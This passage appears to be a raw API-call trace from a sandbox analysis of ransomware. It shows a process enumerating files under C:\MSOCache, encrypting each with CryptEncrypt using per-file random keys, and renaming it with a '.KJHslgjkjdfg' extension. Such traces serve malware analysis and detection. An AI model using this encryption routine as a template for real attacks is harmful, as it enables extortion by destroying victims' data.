pbData=0x2f15340*, pdwDataLen=0x4dff4e0*=0x50) returned 1 [0166.526] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.526] WriteFile (in: hFile=0x124, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dff4f8*=0x50, lpOverlapped=0x0) returned 1 [0166.526] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0166.526] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0166.526] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0166.526] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.526] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0166.526] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.526] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.526] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.526] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0xaec3a, lpOverlapped=0x0) returned 1 [0166.540] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xaec40) returned 1 [0166.552] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.552] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0xaec40, lpOverlapped=0x0) returned 1 [0166.560] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.562] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.562] SetEndOfFile (hFile=0x124) returned 1 [0166.565] GetProcessHeap () returned 0x2ef0000 [0166.566] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0166.566] GetProcessHeap () returned 0x2ef0000 [0166.566] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.566] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0166.567] CloseHandle (hObject=0x124) returned 1 [0166.663] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0166.663] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0166.663] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.664] GetProcessHeap () returned 0x2ef0000 [0166.664] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.664] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.664] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0166.664] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xf, lpOverlapped=0x0) returned 1 [0166.670] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.670] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.670] GetProcessHeap () returned 0x2ef0000 [0166.670] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0166.670] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0166.670] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.670] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0166.671] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0166.671] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0166.671] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0166.671] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.671] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0166.671] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.671] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.671] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.671] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x5061, lpOverlapped=0x0) returned 1 [0166.673] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x5070, dwBufLen=0x5070 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x5070) returned 1 [0166.673] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.673] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x5070, lpOverlapped=0x0) returned 1 [0166.673] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.673] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.673] SetEndOfFile (hFile=0x124) returned 1 [0166.675] GetProcessHeap () returned 0x2ef0000 [0166.675] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0166.675] GetProcessHeap () returned 0x2ef0000 [0166.675] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.676] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0166.676] CloseHandle (hObject=0x124) returned 1 [0166.676] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0166.676] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.678] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=195011319) returned 1 [0166.678] GetProcessHeap () returned 0x2ef0000 [0166.678] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.678] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.678] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.678] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x9, lpOverlapped=0x0) returned 1 [0166.685] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.685] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.686] GetProcessHeap () returned 0x2ef0000 [0166.686] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.686] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0166.686] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.686] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0166.686] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0166.686] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0166.686] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0166.686] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.686] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0166.686] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.686] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.686] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.687] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.695] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.701] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.701] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.702] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.702] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.702] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.702] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.710] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.713] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.714] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.715] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.715] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.716] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9ba300, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.716] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.721] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.725] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9ba300, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.725] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.726] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.726] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.726] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.726] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.726] SetEndOfFile (hFile=0x124) returned 1 [0166.731] GetProcessHeap () returned 0x2ef0000 [0166.731] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.731] GetProcessHeap () returned 0x2ef0000 [0166.731] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.731] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.kjhslgjkjdfg")) returned 1 [0166.732] CloseHandle (hObject=0x124) returned 1 [0166.732] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0166.732] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.732] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=12060672) returned 1 [0166.732] GetProcessHeap () returned 0x2ef0000 [0166.732] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.732] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.732] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.732] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.732] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.733] GetProcessHeap () returned 0x2ef0000 [0166.733] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.733] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0166.733] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.733] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0166.735] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0166.736] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0166.736] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0166.736] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.736] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0166.736] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.736] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.736] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.736] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.748] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.754] SetFilePointerEx (in: 